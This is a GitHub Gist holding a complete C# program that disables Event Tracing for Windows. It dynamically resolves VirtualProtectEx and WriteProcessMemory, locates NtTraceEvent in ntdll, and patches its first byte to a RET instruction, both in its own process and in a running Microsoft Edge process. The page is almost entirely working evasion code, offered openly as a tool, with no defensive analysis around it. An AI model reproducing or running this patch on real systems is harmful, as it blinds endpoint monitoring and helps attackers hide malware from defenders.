Last active
February 17, 2024 14:22
-
-
Save seahop/4a515f8689619332e2932f5025f9ae7b to your computer and use it in GitHub Desktop.
ETW patching in C#. Based on https://www.phrack.me/tools/2023/04/10/Patching-ETW-in-C.html
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Diagnostics; | |
using System.Linq; | |
using System.Runtime.InteropServices; | |
using DInvoke.DynamicInvoke; | |
namespace PatchETW | |
{ | |
public static class Native | |
{ | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern int VirtualProtectEx(IntPtr hProcess, | |
IntPtr lpAddress, | |
UIntPtr dwSize, | |
uint flNewProtect, | |
out uint lpflOldProtect); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern int WriteProcessMemory(IntPtr hProcess, | |
IntPtr lpBaseAddress, | |
byte[] lpBuffer, | |
uint nSize, | |
out uint lpNumberOfBytesWritten); | |
public delegate int VirtualProtectExDelegate(IntPtr hProcess, | |
IntPtr lpAddress, | |
UIntPtr dwSize, | |
uint flNewProtect, | |
out uint lpflOldProtect); | |
public delegate int WriteProcessMemoryDelegate(IntPtr hProcess, | |
IntPtr lpBaseAddress, | |
byte[] lpBuffer, | |
uint nSize, | |
out uint lpNumberOfBytesWritten); | |
} | |
internal class Program | |
{ | |
static int GetProcId() | |
{ | |
var proc = "msedge"; | |
Console.WriteLine("[+] Getting process ID for target process ({0})", proc); | |
var process = Process.GetProcessesByName(proc).FirstOrDefault(); | |
Console.WriteLine("[+] Handle: {0}\n[+] Proccess Id: {1}", process.Handle, process.Id); | |
return process.Id; | |
} | |
static IntPtr GetRemoteNtdllBaseAddress(Process targetProcess) | |
{ | |
var ntdllBaseAddress = targetProcess.Modules.Cast<ProcessModule>().FirstOrDefault(m => m.ModuleName == "ntdll.dll")?.BaseAddress; | |
if (ntdllBaseAddress.HasValue) | |
{ | |
return ntdllBaseAddress.Value; | |
} | |
else | |
{ | |
throw new InvalidOperationException(); | |
} | |
} | |
static IntPtr GetEtwEventWriteOffset() | |
{ | |
var localNtdllAddress = Generic.GetLibraryAddress("ntdll.dll", "NtTraceEvent"); | |
var localNtdllBaseAddress = GetRemoteNtdllBaseAddress(Process.GetCurrentProcess()); | |
var offset = (long)localNtdllAddress - (long)localNtdllBaseAddress; | |
return (IntPtr)offset; | |
} | |
static void ModifyRemoteMemory(IntPtr processHandle, IntPtr address, byte newValue) | |
{ | |
IntPtr vpeAddress = Generic.GetLibraryAddress("kernel32.dll", "VirtualProtectEx"); | |
IntPtr wpmAddress = Generic.GetLibraryAddress("kernel32.dll", "WriteProcessMemory"); | |
// Create delegate instances | |
Native.VirtualProtectExDelegate VirtualProtectEx = (Native.VirtualProtectExDelegate)Marshal.GetDelegateForFunctionPointer(vpeAddress, typeof(Native.VirtualProtectExDelegate)); | |
Native.WriteProcessMemoryDelegate WriteProcessMemory = (Native.WriteProcessMemoryDelegate)Marshal.GetDelegateForFunctionPointer(wpmAddress, typeof(Native.WriteProcessMemoryDelegate)); | |
const int PAGE_EXECUTE_READWRITE = 0x40; | |
if (VirtualProtectEx(processHandle, address, (UIntPtr)1, PAGE_EXECUTE_READWRITE, out var oldProtect) == 0) | |
{ | |
throw new InvalidOperationException("[!] Failed to change memory protection."); | |
} | |
if (WriteProcessMemory(processHandle, address, new[] { newValue }, 1, out _) == 0) | |
{ | |
throw new InvalidOperationException("[!] Failed to write to the memory."); | |
} | |
else | |
{ | |
Console.WriteLine("[+] Patched 0x{0} to 0x{1}", newValue.ToString("X"), address.ToString("X")); | |
} | |
if (VirtualProtectEx(processHandle, address, (UIntPtr)1, oldProtect, out _) == 0) | |
{ | |
throw new InvalidOperationException("[!] Failed to restore memory protection."); | |
} | |
} | |
static void PatchEtw(IntPtr processHandle, IntPtr remoteNtdllBaseAddress) | |
{ | |
IntPtr etwEventWriteOffset = GetEtwEventWriteOffset(); | |
IntPtr remoteEtwEventWriteAddress = (IntPtr)((long)remoteNtdllBaseAddress + (long)etwEventWriteOffset); | |
byte newValue = 0xC3; // RET | |
ModifyRemoteMemory(processHandle, remoteEtwEventWriteAddress, newValue); | |
} | |
static void Main(string[] args) | |
{ | |
Console.WriteLine("[*] ----- Patching ETW ----- [*]"); | |
int targetProcessId = GetProcId(); | |
Process targetProcess = Process.GetProcessById(targetProcessId); | |
IntPtr targetProcessHandle = targetProcess.Handle; | |
Console.WriteLine("[+] Remote NTDLL base address: 0x" + GetRemoteNtdllBaseAddress(targetProcess).ToString("X")); | |
Console.WriteLine("[+] Current Proc ETW decimal offset: {0}", GetEtwEventWriteOffset().ToString()); | |
Console.WriteLine("[+] Current Proc ETW hex offset: 0x{0}", GetEtwEventWriteOffset().ToString("X")); | |
Console.WriteLine("[+] Patching Current Process"); | |
Process currentProcess = Process.GetCurrentProcess(); | |
IntPtr currentNtdllBaseAddress = GetRemoteNtdllBaseAddress(currentProcess); | |
PatchEtw(currentProcess.Handle, currentNtdllBaseAddress); | |
Console.WriteLine("[+] Patching Remote Process"); | |
IntPtr remoteNtdllBaseAddress = GetRemoteNtdllBaseAddress(targetProcess); | |
PatchEtw(targetProcessHandle, remoteNtdllBaseAddress); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment